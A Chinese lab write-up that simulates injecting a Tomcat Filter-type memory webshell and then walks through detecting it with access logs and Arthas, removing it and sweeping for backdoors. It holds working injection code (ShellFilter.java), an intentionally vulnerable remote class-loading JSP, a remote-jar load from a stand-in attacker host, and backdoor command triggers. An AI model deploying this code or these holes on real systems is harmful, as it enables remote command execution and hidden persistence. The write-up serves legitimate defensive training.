作者: chengjie

  • 内存马应急响应

    内存马应急响应 · 新手全流程实战手册

    演练日期:2026-08-04 演练环境:本地物理机(攻击端) ↔ 阿里云 ECS x.x.93.235(目标端,隔离测试环境 /opt/tomcat-lab,与生产业务完全隔离) 技术栈:Tomcat 9.0.120 + JDK 21 + JSP(Filter 型内存马) 本文件夹配套文件:

    • attack.py — 本地攻击脚本(SSH 隧道 + 恶意 jar 托管 + 注入 + 利用)
    • evil.jar — 恶意类打包(攻击者托管的 jar,就是通过它打进去的)
    • ShellFilter.java — 恶意类源码(重点学习文件,看懂它 = 看懂内存马原理)
    • dump_ShellFilter.class — Arthas 从内存中 dump 出的恶意类字节码(取证留证)
    • vuln.jsp / index.jsp — 靶机上的漏洞注入点 / 正常业务页面
    • localhost_access_log样本.txt — 本次攻击留下的真实访问日志(应急发现的起点)

    目录


    第 0 章 新手阅读指南

    这份笔记是实打实跑通过的全过程记录——里面的命令都在真实环境执行过,输出都是真实结果。作为新手,建议按这个顺序读:

    1. 第 1 章一定要看:不懂”Filter 链 / 类加载器 / 反射”这三件事,后面所有命令都会看不懂
    2. 第 4、5 章是重点:先看命令,再看我加的 # ← 注释,最后看输出和”这段输出说明什么”
    3. 第 7 章速查卡:抄到你的笔记本里,应急响应时直接照着敲
    4. 有条件就自己复现:ECS 上靶机还在(8080 端口),本地运行 python attack.py 就能重打一遍

    学习目标:看完这份笔记,你能回答四个问题——

    • 内存马到底是什么?和传统 webshell 有什么区别?
    • 攻击者是怎么把一段代码”塞进”运行中的 Java 程序的?
    • 应急时怎么用 Arthas 把内存里的恶意代码”揪”出来?
    • 怎么清除、怎么排查后门、怎么恢复业务?

    第 1 章 基础概念(建议先看,5 分钟)

    1.1 一个 HTTP 请求在 Tomcat 里是怎么被处理的?

    假设你访问 http://服务器:8080/,Tomcat 的处理流程:

    
    
    
    
    
    • Filter(过滤器):Java Web 里”拦路检查”的组件。正常的过滤器比如登录校验、字符编码、压缩。定义在 web.xml
    • Filter 链(FilterChain):多个过滤器按注册顺序串成的链条。关键:每个请求都会经过链上所有 Filter。

    1.2 什么是”内存马”?

    传统 webshell(落盘型):攻击者在服务器磁盘上写一个 .jsp/.php 文件(比如 /webapps/shell.jsp),访问它就能执行命令。特点:有文件,杀软能查、文件检查能找到

    内存马(无文件型):攻击者不写文件,而是通过代码执行漏洞,往正在运行的 JVM 内存里动态注册一个恶意 Filter。效果一样——访问特殊路径就能命令执行,但:

    对比项传统 WEBSHELL内存马
    是否有文件✅ 有,磁盘上可见❌ 无,只在内存
    杀软查杀能查查不到
    文件扫描能找到找不到
    重启 JVM 后文件还在,依然可用失效(除非做了持久化)

    “内存马”名字的由来:恶意代码只存在于内存(JVM 运行时数据),不落盘。

    1.3 为什么恶意代码能”不落盘”地运行?—— 类加载器

    Java 程序的类(class)不是一开始全部加载到内存的,而是用到哪个类才加载哪个。负责加载类的家伙叫类加载器(ClassLoader)

    • 正常情况:类加载器从磁盘上的 .class 文件 / .jar 包里读字节码
    • 有一种特殊的类加载器叫 URLClassLoader:它能从 URL(网络地址) 直接加载字节码,不一定需要磁盘文件
    // 这就是本次攻击的核心一行(简化版):
    URLClassLoader loader = new URLClassLoader(new URL[]{new URL("http://攻击者/evil.jar")});
    Class<?> c = loader.loadClass("com.evil.ShellFilter");  // 从网络加载恶意类

    👉 这就是”无文件”的底层原理:类字节码通过网络进内存,磁盘上干干净净。

    1.4 什么是”反射”?

    Java 反射 = 运行时查看和操作类/对象的能力。正常情况下你写代码要”编译期就知道类名、方法名”;反射可以在运行时用字符串拿到类、调用方法、读写私有字段

    // 反射示例:用字符串"filterDefs"拿到私有字段,再往里面塞东西
    Field field = object.getClass().getDeclaredField("filterDefs"); // 按名字找字段
    field.setAccessible(true);                                       // 私有字段也要能碰
    Map map = (Map) field.get(object);                               // 取出字段值
    map.put("evilShell", 恶意Filter定义);                             // 塞进我们的恶意过滤器

    👉 内存马注入就是反射 + 类加载器的组合拳:远程加载类 → 反射调用它的方法 → 反射往 Filter 链里塞恶意过滤器。

    1.5 什么是 SSH 隧道?(攻击脚本里用到的)

    SSH 隧道 = 用 SSH 加密通道把两个端口”接”起来,让网络流量走 SSH 隧道传输。本次演练:

    本地 127.0.0.1:8080 ══SSH隧道══▶ ECS 127.0.0.1:8080   (正向:本地访问 = 访问服务器)
    ECS 127.0.0.1:9000 ══SSH隧道══▶ 本地 127.0.0.1:9000   (反向:服务器访问9000 = 访问我们本地的http服务)
    • 正向隧道:模拟”攻击者通过内网/跳板访问目标”(真实场景:目标在内网,攻击者 SSH 跳板进入)
    • 反向隧道:把恶意 jar 托管在攻击者本地,但目标通过 http://127.0.0.1:9000/evil.jar 就能下载到——模拟攻击者持有的恶意类服务器(类似 Log4Shell 的 JNDI 服务器),同时把真实攻击者的 IP 藏了起来(日志里只看到 127.0.0.1)

    1.6 什么是 Arthas?

    Arthas(阿尔萨斯)是阿里巴巴开源的在线诊断工具,可以”钻进”正在运行的 Java 程序:看类、反编译代码、看内存对象、执行表达式。不需要重启目标程序。本次应急响应的取证全靠它。


    第 2 章 演练环境与攻击链总览

    本地物理机 (Windows, 攻击者视角)                 ECS 

    完整攻击链(一条线记住):

    ① 发现注入点 ② 远程加载恶意类  ③ 反射注册 Filter ④ 触发命令执行
    /vuln.jsp 泄露 URLClassLoader 从往 StandardContext访问 /spass=hackme
    远程类加载接口攻击者jar托管地址的 FilterChain &cmd=id(127.0.0.1:9000) 塞入 evilShell → 回显命令结果

    角色划分

    • 本地物理机 = 攻击者(跑 attack.py)
    • ECS 上的 Tomcat = 受害者(业务系统 + 漏洞点)
    • 你在 ECS 上的另一个 SSH 会话 = 应急响应管理员(第 5 章所有命令都在这执行)

    第 3 章 环境部署(搭建靶机)

    目标:ECS 上装一个独立的 Tomcat(端口 8080,和生产 80/443 业务完全隔离),放两个页面。

    # ① 建目录、下载 Tomcat 9.0.120(国内用阿里云镜像,GitHub 慢)
    mkdir -p /opt/tomcat-lab && cd /opt/tomcat-lab
    curl -sL -o tomcat.tar.gz "https://mirrors.aliyun.com/apache/tomcat/tomcat-9/v9.0.120/bin/apache-tomcat-9.0.120.tar.gz"
    tar xzf tomcat.tar.gz && mv apache-tomcat-9.0.120 tomcat
    #     tar xzf = 解压 (x=解压 z=gzip压缩格式 f=指定文件)
    #     mv 改名为简短的 tomcat,方便输入

    # ② 部署两个页面(ROOT = 根应用目录,访问 / 就是这里)
    cd tomcat/webapps/ROOT && rm -rf *
    #   index.jsp:正常业务页面(登录页面那种东西)
    #   vuln.jsp :故意留的漏洞接口,模拟"任意远程类加载"漏洞
    #     ← 真实世界里这个漏洞长这样:JNDI注入(Log4j2)、反序列化(Fastjson/Shiro)、
    #       Struts2 OGNL 等,它们最终都能让攻击者加载任意类。这里用 JSP 模拟,
    #       效果完全一样:给一个 url 就能加载类并调用 install 方法。

    # ③ 启动 Tomcat
    ./tomcat/bin/startup.sh        # startup.sh = 启动脚本;日志在 tomcat/logs/catalina.out

    # ④ 验证
    curl -s http://127.0.0.1:8080/   # 能看到首页 HTML = 业务正常

    vuln.jsp 源码(漏洞点,务必看懂)

    <%@ page import="java.net.*,java.lang.reflect.*" %>
    <%
    String url = request.getParameter("url");    // ① 接收攻击者的 url 参数(恶意 jar 地址)
    String cls = request.getParameter("cls");    // ② 接收类名参数(恶意类名)
    if (url != null && cls != null) {
       // ③ 用 URLClassLoader 从 url 加载类 —— 这就是漏洞的核心!
       URLClassLoader loader = new URLClassLoader(new URL[]{new URL(url)}, this.getClass().getClassLoader());
       Class<?> c = loader.loadClass(cls);               // ④ 加载指定类
       Method m = c.getMethod("install", ServletContext.class);  // ⑤ 找 install 方法
       m.invoke(null, application);                      // ⑥ 调用它!恶意 Filter 注册完成
       out.println("[+] remote class loaded and installed: " + cls);
    }
    %>

    漏洞本质:接口信任了攻击者提供的 urlcls——让攻击者把任意代码塞进 JVM


    第 4 章 攻击阶段:注入点 → 内存马 → 命令执行

    本章所有操作由本地物理机执行(python attack.py),模拟真实攻击者。

    4.1 攻击脚本 attack.py 在做什么?

    # 关键模块拆解(对应文件 attack.py):

    # ① paramiko 连 SSH(我们和服务器之间的安全通道)
    ssh.connect('x.130.93.x', username='xxx', key_filename=SSH_KEY)

    # ② 双向隧道(见 1.5 概念)
    start_forward(transport, 8080, '127.0.0.1', 8080)   # 本地8080 → ECS 8080
    start_reverse(transport, 9000, '127.0.0.1')          # ECS:9000 → 本地9000

    # ③ 本地起一个 HTTP 服务,把 evil.jar 托管出去
    #   (模拟攻击者的恶意类服务器,JNDI/Log4Shell 场景里就是恶意 LDAP 服务器)
    #   http://127.0.0.1:9000/evil.jar ← 服务器访问这个地址就能下载恶意类

    # ④ 攻击四步走(每步发一个 HTTP 请求)
    #   GET /                   → 指纹识别
    #   GET /vuln.jsp           → 发现漏洞点
    #   GET /vuln.jsp?url=...evil.jar&cls=com.evil.ShellFilter → 注入内存马
    #   GET /s?pass=hackme&cmd=id → 利用内存马执行命令

    4.2 Step 1:指纹识别(认识目标)

    GET / -> HTTP 200
    <html><head><title>XX 内网业务管理系统</title></head>...

    输出解读:目标是一个”XX 内网业务管理系统”。攻击者先摸清目标是什么系统、什么技术栈,再找对应漏洞。

    4.3 Step 2:发现可注入点

    GET /vuln.jsp -> HTTP 200
    [i] usage: /vuln.jsp?url=http://ATTACKER/evil.jar&cls=com.evil.ShellFilter

    输出解读:漏洞接口把自己的用法都吐出来了(信息泄露)——告诉攻击者:传一个 url 和一个 cls 就能加载任意类。这就是”发现可注入点”:不需要扫描器,一个请求就暴露了。

    新手注意:真实渗透里这种”接口主动泄露参数用法”很常见,比如报错回显、Swagger 文档、debug 接口。

    4.4 Step 3:打入内存马(全流程最关键的一步)

    GET /vuln.jsp?url=http://127.0.0.1:9000/evil.jar&cls=com.evil.ShellFilter
    [+] remote class loaded and installed: com.evil.ShellFilter

    这里发生了什么(对应第 1.3 节原理)

    1. Tomcat 收到请求,执行 vuln.jsp
    2. URLClassLoaderhttp://127.0.0.1:9000/evil.jar(经反向隧道 = 攻击者本地)远程加载 com.evil.ShellFilter
    3. 反射调用它的 install(servletContext) 静态方法
    4. install() 里用反射找到 StandardContext(Tomcat 管 Filter 链的容器),动态注册了名为 evilShell 的恶意 Filter,并把它插到 Filter 链最前面

    恶意类 ShellFilter.java 源码逐段拆解(重点学习)

    public static void install(ServletContext servletContext) throws Exception {
       // 【第1步】拿到 StandardContext(管理所有 Filter 的对象)
       // ServletContext 是个"门面"(Facade),里面套着 ApplicationContext,
       // 再里面才是 StandardContext。所以循环找 3 层:
       Object obj = servletContext;
       for (int i = 0; i < 3 && obj != null; i++) {
           Field ff = obj.getClass().getDeclaredField("context");  // 反射:按名字找私有字段
           ff.setAccessible(true);                                  // 私有字段也能访问
           obj = ff.get(obj);                                       // 取出字段值
           if (obj != null && obj.getClass().getName().equals(
                   "org.apache.catalina.core.StandardContext")) {   // 找到 StandardContext 就停
               break;
          }
      }
       if (obj == null) throw new IllegalStateException("StandardContext not found");

       // 【第2步】构造一个"恶意 Filter 的定义"(名字 evilShell,类是我们自己)
       Class<?> filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
       Object filterDef = filterDefClass.getDeclaredConstructor().newInstance();
       filterDefClass.getMethod("setFilterName", String.class).invoke(filterDef, "evilShell");
       filterDefClass.getMethod("setFilterClass", String.class).invoke(filterDef, ShellFilter.class.getName());
       filterDefClass.getMethod("setFilter", Filter.class).invoke(filterDef, new ShellFilter());

       // 【第3步】把 FilterDef 塞进 filterDefs 这个 Map(相当于 web.xml 里注册了一个 Filter)
       Field filterDefsField = obj.getClass().getDeclaredField("filterDefs");
       filterDefsField.setAccessible(true);
       Map<String, Object> filterDefs = (Map<String, Object>) filterDefsField.get(obj);
       filterDefs.put("evilShell", filterDef);

       // 【第4步】把过滤规则(/* = 所有请求)插到 Filter 链最前面
       // addFilterMapBefore = 插到最前面 → 所有请求第一个经过我们的恶意 Filter
       Class<?> filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
       Object filterMap = filterMapClass.getDeclaredConstructor().newInstance();
       filterMapClass.getMethod("setFilterName", String.class).invoke(filterMap, "evilShell");
       filterMapClass.getMethod("addURLPattern", String.class).invoke(filterMap, "/*");
       obj.getClass().getMethod("addFilterMapBefore", filterMapClass).invoke(obj, filterMap);

       // 【第5步】启动这个 Filter(不然不生效)
       obj.getClass().getMethod("filterStart").invoke(obj);
    }
    // 【恶意逻辑】doFilter:每个请求都会经过它
    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) {
       String cmd = request.getParameter("cmd");           // ① 看请求有没有 cmd 参数
       // ② 触发条件:路径以 /s 结尾 + 有 cmd 参数 + pass 口令等于 hackme
       if (request.getRequestURI().endsWith("/s") && cmd != null
               && "hackme".equals(request.getParameter("pass"))) {
           Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); // ③ 执行命令
           // ④ 把命令输出写回响应(回显)——攻击者浏览器/脚本直接看到结果
           response.getWriter().print(命令输出);
           return;  // ⑤ 拦截:不往下传,业务无感
      }
       chain.doFilter(req, resp);  // ⑥ 不是触发请求就正常放行 → 业务透明
    }

    内存马 vs 一句话木马:一句话木马(如冰蝎的 .jsp)是把代码写到文件;内存马是把同样的逻辑变成内存里的一个 Filter。触发方式都是”带口令访问特殊路径”。

    4.5 Step 4:利用内存马命令执行

    # 触发请求:/s?pass=hackme&cmd=<要执行的命令>
    cmd: id
    uid=0(root) gid=0(root) groups=0(root)     ← 命令执行成功!且是 root 权限!

    cmd: whoami
    root

    cmd: hostname; cat /etc/hostname
    DCJ

    cmd: cat /etc/passwd | head -3
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin

    输出解读

    • id 显示 uid=0(root)Tomcat 以 root 运行,攻击者拿到的是服务器最高权限(这也是加固建议:Tomcat 不要用 root 跑)
    • cat /etc/passwd 能读系统账户文件 → 已经可以任意读文件
    • 这个内存马现在等价于”一个不需要文件、重启前永远可用的 root shell”
    # 最后验证:正常业务不受影响(内存马对业务"透明")
    GET / -> HTTP 200(正常返回)

    为什么业务无感? 因为恶意 Filter 对普通请求只是”看一眼参数,不是触发请求就放行”,业务链路完全没变。


    第 5 章 应急响应:发现 → 取证 → 清除 → 扫描 → 恢复

    角色切换:现在你是应急响应管理员,在 ECS 上执行下面的命令。 目标:发现入侵 → 确认是内存马 → 取证留证 → 清除 → 全面排查后门 → 修复漏洞恢复业务。

    5.1 阶段 A:发现——从访问日志找到蛛丝马迹

    故事线:管理员例行查看 Tomcat 访问日志,发现了异常请求。

    cat /opt/tomcat-lab/tomcat/logs/localhost_access_log.2026-08-04.txt

    真实输出(节选关键行):

    127.0.0.1 - - [04/Aug/2026:01:24:03] "GET /vuln.jsp?url=http%3A%2F%2F127.0.0.1%3A9000%2Fevil.jar&cls=com.evil.ShellFilter" 200
    127.0.0.1 - - [04/Aug/2026:01:24:03] "GET /s?pass=hackme&cmd=id" 404         ← 注入前的尝试(未生效)
    127.0.0.1 - - [04/Aug/2026:01:24:42] "GET /s?pass=hackme&cmd=id" 200         ← 注入成功后(命令执行了!)
    127.0.0.1 - - [04/Aug/2026:01:24:43] "GET /s?pass=hackme&cmd=cat+%2Fetc%2Fpasswd+%7C+head+-3" 200

    新手怎么看日志(3 个可疑点):

    1. vuln.jspurl=...evil.jar&cls=com.evil.ShellFilter → 有人在让服务器加载外部类(攻击行为!)
    2. /s?pass=hackme&cmd=idcmd= 参数 = 命令执行特征,pass= = 后门口令(webshell/内存马标志)
    3. 同一个路径 /s 从 404 变成 200 → 说明”中间发生了什么让这个路径生效了”——这正是内存马注入成功的时间点

    日志告警特征速记cmd= / pass= / 远程 jar 加载 / 404→200 转变 / 无对应文件的高频路径。

    5.2 阶段 B:文件系统排查——确认”没有落盘文件”

    管理员第一反应:查文件系统有没有 webshell 文件。

    # ① 看 webapps 下所有文件(业务部署目录)
    find /opt/tomcat-lab/tomcat/webapps -type f | head
    # 输出只有 index.jsp / vuln.jsp 和 Tomcat 自带示例 —— 没有 shell.jsp 之类的文件

    # ② 找最近 2 小时内被修改过的文件
    find /opt/tomcat-lab -mmin -120 -type f | grep -v logs
    # 只有我们部署的业务文件 —— 磁盘干净

    # ③ 专门找 jsp/war 后门
    find /opt/tomcat-lab -name "*.jsp" -o -name "*.war" | xargs ls -la
    # 无恶意文件

    推理:日志明确显示命令执行了(/s?cmd=id 返回 200),但磁盘上没有任何 webshell 文件 → 恶意代码不在文件系统里 → 高度怀疑内存马

    5.3 阶段 C:Arthas 取证(本次演练核心环节)

    工具准备

    # 下载 Arthas(阿里云官方 CDN,应急时如果目标无法外网下载,
    # 应提前在运维工具机备好,或从内网镜像拉)
    curl -sL -o arthas-boot.jar https://arthas.aliyun.com/arthas-boot.jar

    # 找到 Tomcat 的进程号(PID)
    pgrep -f "org.apache.catalina.startup.Bootstrap"
    # 输出:1761264 ← 这就是 Tomcat 的 PID

    # 用非交互模式执行 Arthas 命令(-f 指定命令脚本文件,适合应急自动化和记录)
    java -jar arthas-boot.jar --select 1761264 -f /tmp/arthas_cmd.txt
    #   --select <pid> = 指定要诊断的进程
    #   -f 文件 = 从文件读命令批量执行

    取证 ① sc 搜索可疑类(sc = search class)

    [arthas@1761264]$ sc com.evil.*
    com.evil.ShellFilter
    com.evil.ShellFilter
    Affect(row-cnt:2) cost in 22 ms.

    输出解读:内存里存在 com.evil.ShellFilter!出现了 2 次——因为攻击打了 2 次(第一次失败了,第二次成功),每次注入都加载了一份类。正常业务系统里绝不会有 com.evil 这个包。

    取证 ② sc -d 看类详情——三个铁证

    [arthas@1761264]$ sc -d com.evil.ShellFilter
    class-info       com.evil.ShellFilter
    code-source       /evil.jar                   ← 【铁证1】类来源是URL不是磁盘路径!
    class-loader     java.net.URLClassLoader@2dda4381   ← 【铁证2】动态远程类加载器!
    interfaces       javax.servlet.Filter         ← 【铁证3】它是 Filter(内存马常见形态)

    新手必懂——为什么这三个字段就是铁证

    • code-source: /evil.jar:正常类的来源是磁盘文件路径(如 file:/opt/tomcat-lab/tomcat/lib/servlet-api.jar)。/evil.jar 是一个 URL 路径(来自网络),说明这个类是从网上加载的——正常业务不可能这样。
    • class-loader: java.net.URLClassLoader:正常业务类由 Tomcat 的 WebappClassLoader(加载 webapps 下的类)或系统类加载器加载。URLClassLoader 专门用来加载远程/动态字节码
    • interfaces: javax.servlet.Filter:它是个过滤器 → 结合日志里 /s?cmd=id 能命令执行 → 就是它干的。

    取证 ③ jad 反编译——直接看恶意代码

    [arthas@1761264]$ jad -c 2dda4381 com.evil.ShellFilter
    #   -c <hashcode> = 指定类加载器(因为有两个实例,要指明确认看哪一个)
    ...
    /*38*/   clazz.getMethod("setFilterName", String.class).invoke((Object)field, "evilShell");
    /*58*/   object.getClass().getMethod("filterStart", new Class[0]).invoke(object);
    /*69*/   Process process = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", string});   ← 命令执行!

    输出解读:Arthas 把内存里的字节码反编译成 Java 源码——第 69 行 Runtime.exec("/bin/sh -c ...") 就是执行命令的代码。证据链闭合:这个类就是内存马,逻辑和日志里的攻击行为完全对应

    取证 ④ dump 导出 class——留证

    [arthas@1761264]$ dump -d /tmp/arthas_dump com.evil.ShellFilter
    Affect(row-cnt:2) cost in 58 ms.
    → /tmp/arthas_dump/java.net.URLClassLoader-2dda4381/com/evil/ShellFilter.class   ← 落盘了!
    → /tmp/arthas_dump/java.net.URLClassLoader-6ccd63b7/com/evil/ShellFilter.class

    为什么要 dump:应急响应要留证据——把内存里的恶意类导成 .class 文件保存(对应本文件夹的 dump_ShellFilter.class),可以交给上级/厂商分析,也是事后复盘材料。

    取证 ⑤ vmtool 直击 Filter 链——实锤动态注册

    [arthas@1761264]$ vmtool --action getInstances --className org.apache.catalina.core.StandardContext \
      --express 'instances.{ getPath() + " -> " + filterDefs.keySet() }'
    @String[/manager -> [Tomcat WebSocket (JSR356) Filter, CSRF, HTTP header security filter]]
    @String[/docs -> [Tomcat WebSocket (JSR356) Filter]]
    @String[ -> [Tomcat WebSocket (JSR356) Filter, evilShell]]     ← 注意这里!ROOT应用多了 evilShell
    @String[/examples -> [Compression Filter, ...]]

    输出解读(重点看)

    • 列出 Tomcat 里每个应用(/manager、/docs、/examples……和 ROOT)注册的所有 Filter
    • 其他应用的 Filter 都是 Tomcat 自带的(WebSocket、CSRF、压缩……都是 web.xml 里配置的正常过滤器)
    • ROOT 应用(path 为空的那行)多了一个 evilShell——没有任何配置文件和它对应 → 这就是被动态注册的内存马,实锤

    取证小技巧:对比”配置里有的 Filter”和”运行时实际存在的 Filter”,多出来的就是内存马。这是最可靠的判断方法。

    取证 ⑥ 落盘痕迹检查——JDK 9+ 的特别发现

    # 理论上 URLClassLoader 下载远程 jar 会缓存到 java.io.tmpdir(JDK 8 行为)
    find /opt/tomcat-lab/tomcat/temp /tmp -name "*.jar" -newermt "2026-08-04 01:20"
    # 结果:啥都没有!

    这是本次演练最有价值的实战发现之一:JDK 8 时代,URLClassLoader 从 http 下载 jar 会在临时目录留下一个随机名的缓存 jar(java.io.tmpdir 下),应急时可以靠它发现攻击痕迹。但 JDK 9+ 之后不再缓存,远程 jar 直接进内存——更隐蔽,只能靠内存取证(Arthas)。这也说明:Java 版本越高,内存马检测越依赖运行时工具。

    5.4 阶段 D:清除内存马

    原理:这是纯内存型内存马(没有持久化),它的宿主就是 JVM 进程——重启 JVM,内存清空,内存马自然消失

    # ① 关闭 Tomcat(shutdown.sh 优雅停止)
    /opt/tomcat-lab/tomcat/bin/shutdown.sh && sleep 5
    # 验证进程真的退出了
    pgrep -f Bootstrap && echo "[!] 进程仍在" || echo "[+] 进程已退出"

    # ② 重启
    /opt/tomcat-lab/tomcat/bin/startup.sh

    # ③ 验证业务恢复
    curl -s -o /dev/null -w "GET / -> HTTP %{http_code}" http://127.0.0.1:8080/
    # 输出 HTTP 200 → 业务正常

    # ④ 验证内存马已失效(同样的触发请求现在 404 了)
    curl -s "http://127.0.0.1:8080/s?pass=hackme&cmd=id" | head -3
    # 输出 404 Not Found → 内存马没了!

    # ⑤ Arthas 复查(严谨做法:清除后必须复查确认)
    [arthas@1765934]$ sc com.evil.*
    Affect(row-cnt:0) cost in 14 ms.     ← 0 行!恶意类彻底不存在

    vmtool --action getInstances ...(同上命令)
    @String[ -> [Tomcat WebSocket (JSR356) Filter]]   ← evilShell 已消失,Filter 链恢复干净

    ⚠️ 重要提醒(新手必记):重启能清除纯内存型内存马。但如果攻击者做了持久化——比如改了 lib/ 下的 jar、在启动参数加了 -javaagent、写了启动脚本——重启后内存马会再次出现。所以必须先做 5.5 的后门扫描确认无持久化,再决定”重启清除”是否足够。

    5.5 阶段 E:后门扫描(全面排查系统是否还有别的后门)

    原则:不止清除一个内存马,要确认整个系统干净。攻击者往往不止留一个后门。

    # ① 计划任务(定时任务 = 常见持久化手段)
    crontab -l                       # root 的计划任务:只有宝塔面板自己的备份任务,正常
    ls /etc/cron.d/ /etc/cron.daily/ # 系统自带 e2scrub/sysstat,正常

    # ② 启动项
    cat /etc/rc.local                # 无内容,正常
    systemctl list-units --type=service --state=running
    # 运行中的服务:aegis(阿里云盾)/BT(宝塔)/mihomo(用户自己的代理)/sshd/nginx... 都是已知服务

    # ③ SSH 后门(攻击者最常留:把自己的公钥写进 authorized_keys)
    cat /root/.ssh/authorized_keys
    # 只有 admin@DESKTOP-AI93QHL —— 用户自己的电脑,正常

    # ④ 用户账户(攻击者可能创建新用户)
    grep -v nologin /etc/passwd
    # admin / springboot 都是已知用户,无新增异常用户

    # ⑤ 监听端口(后门可能开新端口)
    ss -antp | grep LISTEN
    # 22/80/443/8080/3306/5003/35033 —— 全部已知,无陌生端口

    # ⑥ Tomcat lib 目录基线(攻击者可能替换 jar 植入后门)
    ls /opt/tomcat-lab/tomcat/lib/*.jar | wc -l                  # 33 个 = 官方包数量
    find /opt/tomcat-lab/tomcat/lib -name "*.jar" -newermt "2026-08-04 01:20" | wc -l  # 0 个近期新增

    # ⑦ 近期被修改的系统文件 + profile 文件(.bashrc 等可能被注入启动后门)
    find /etc /root /usr/local /opt -mmin -180 -type f | grep -vE "tomcat|\.bash_history"
    tail -5 /root/.bashrc   # 只有 clash 代理和宝塔别名,正常

    扫描结论:全部正常,无持久化后门 → 确认本次攻击是纯内存型,重启清除有效、彻底。

    5.6 阶段 F:修复漏洞 + 恢复业务

    应急的最后一步:堵住让攻击者进来的洞,否则清完还会再进来。

    # ① 修复漏洞:移除注入点(真实场景:给漏洞打补丁、加参数校验、限制出网等)
    mv /opt/tomcat-lab/tomcat/webapps/ROOT/vuln.jsp /tmp/vuln.jsp.bak

    # ② 最终验证
    curl -s -o /dev/null -w "GET / -> HTTP %{http_code}" http://127.0.0.1:8080/             # 200 业务正常
    curl -s -o /dev/null -w "GET /vuln.jsp -> HTTP %{http_code}" http://127.0.0.1:8080/vuln.jsp  # 404 漏洞已修复

    第 6 章 新手 FAQ

    Q1:内存马到底”存在”在哪里? A:在 JVM 进程的内存里。它是被加载到内存的类对象,挂在 Tomcat 的 Filter 链数据结构里。没有文件,所以重启进程就没了。

    Q2:杀软为什么查不到内存马? A:杀软主要扫磁盘文件 + 进程行为。内存马没有文件(文件层面零特征),行为层面只是”动态注册了个 Filter”——大多数杀软不监控 JVM 内部结构。

    Q3:scjaddumpvmtool 都是什么意思? A:Arthas 的命令:

    • sc(search class)= 搜类
    • jad = 反编译(内存里的字节码 → Java 源码)
    • dump = 导出类字节码成文件
    • vmtool = 查看/操作 JVM 里的对象实例
    • 其他常用:thread 看线程、heapdump 导出堆、ognl 执行表达式、watch 监控方法

    Q4:内存马有哪些类型? A:按注册位置分:

    • Filter 型(本次演练):挂在 Filter 链 → 每个请求都经过
    • Servlet 型:动态注册一个 Servlet 到路径映射
    • Listener 型:注册事件监听器(request/session 事件触发)
    • Spring 型:注册 Controller/Interceptor(SpringMVC 框架内)
    • Agent 型:篡改已加载的类(最隐蔽,dump 出来看是”正常类被改了”)

    Q5:如果重启后内存马又出现了,说明什么? A:说明有持久化——攻击者把恶意代码写进了磁盘某个会被 JVM 加载的地方(改 lib jar / -javaagent 启动参数 / 写启动脚本 / 替换框架 jar)。这时要按 5.5 的清单深挖,先清除持久化载体再重启。

    Q6:日志里的 404→200 转变为什么重要? A:请求某个路径先 404(目标不存在)后 200(目标存在),说明运行环境变了——内存马注入生效的典型信号。监控这类转变能快速发现内存马攻击。

    Q7:本地物理机扮演的角色是什么? A:攻击者。attack.py 里做了三件事:SSH 隧道(内网穿透/隐藏来源)、托管恶意 jar(恶意类服务器)、发 HTTP 攻击请求。真实攻击中攻击者用 VPS/跳板机做这些事,日志里只看到内网 IP。

    Q8:如果 Tomcat 以普通用户(非 root)运行,影响有多大? A:攻击者拿到的是 Tomcat 运行用户的权限。root 运行 = 服务器沦陷;普通用户运行 = 至少无法直接读写系统文件。最小权限原则是重要防线

    Q9:vuln.jsp 这种漏洞在真实世界里长什么样? A:对应关系:

    • 远程类加载接口 → JNDI 注入(Log4j2/Log4Shell)、反序列化(Fastjson/Shiro/Weblogic)
    • 攻击者托管恶意 jar/LDAP → 攻击者的 VPS 上的恶意 LDAP/RMI 服务器
    • 内存马注册 → 完全一样(Filter/Servlet/Spring Controller) 所以本演练虽然用 JSP 模拟,但攻击链每一步在真实漏洞里都有对应。

    Q10:我要多久才能独立做一次应急响应? A:理解这份笔记 + 亲手复现一遍(ECS 靶机还在),大概 1-2 天能上手流程。重点是记住”检测要点速查表”和”先查持久化再重启”的原则。


    第 7 章 速查卡(应急时复制用)

    一、发现(日志)

    # 找可疑请求:远程类加载 / cmd 参数 / pass 口令 / 404→200
    grep -E "cmd=|pass=|evil|Shell|\.jar&cls=" tomcat/logs/localhost_access_log*.txt

    二、确认(文件 vs 内存)

    # 1. 文件系统:无落盘
    find /var/lib/tomcat*/webapps -type f -newermt "1 day ago" 2>/dev/null
    # 2. 内存:Arthas 三连
    java -jar arthas-boot.jar --select <PID> -c "sc com.evil.*"          # 搜可疑类
    java -jar arthas-boot.jar --select <PID> -c "sc -d com.evil.ShellFilter"  # 看 code-source/class-loader
    java -jar arthas-boot.jar --select <PID> -c "jad -c <hash> com.evil.ShellFilter"  # 反编译
    # 3. Filter 链对比(最可靠)
    vmtool --action getInstances --className org.apache.catalina.core.StandardContext \
     --express 'instances.{ getPath() + " -> " + filterDefs.keySet() }'

    三、清除

    # 纯内存型:重启即清除
    shutdown.sh && sleep 5 && startup.sh
    # 复查
    java -jar arthas-boot.jar --select <新PID> -c "sc com.evil.*"   # 期望 row-cnt:0

    四、后门扫描

    crontab -l; ls /etc/cron.d/                        # 计划任务
    systemctl list-units --type=service --state=running  # 服务
    cat /root/.ssh/authorized_keys                     # SSH 后门
    grep -v nologin /etc/passwd                        # 异常用户
    ss -antp | grep LISTEN                             # 陌生端口
    find lib -name "*.jar" -newermt "3 days ago"       # jar 替换
    tail -5 ~/.bashrc; cat /etc/rc.local               # profile 后门
    find / -mtime -3 -name "*.jsp" -o -mtime -3 -name "*.php" 2>/dev/null  # 后门文件

    五、恢复与加固

    # 修复漏洞 → 重启验证 → 补监控(日志/基线/最小权限)

    第 8 章 术语表

    术语解释
    JVMJava 虚拟机,Java 程序运行的地方,内存马就住在它的内存里
    Tomcat最流行的 Java Web 服务器(Servlet 容器)
    Filter / FilterChain过滤器 / 过滤器链,每个请求必经的检查通道
    Servlet / JSPJava Web 的业务组件(JSP 可以在里面写 Java 代码)
    webappsTomcat 部署应用/网站的目录,落盘 webshell 通常在这里
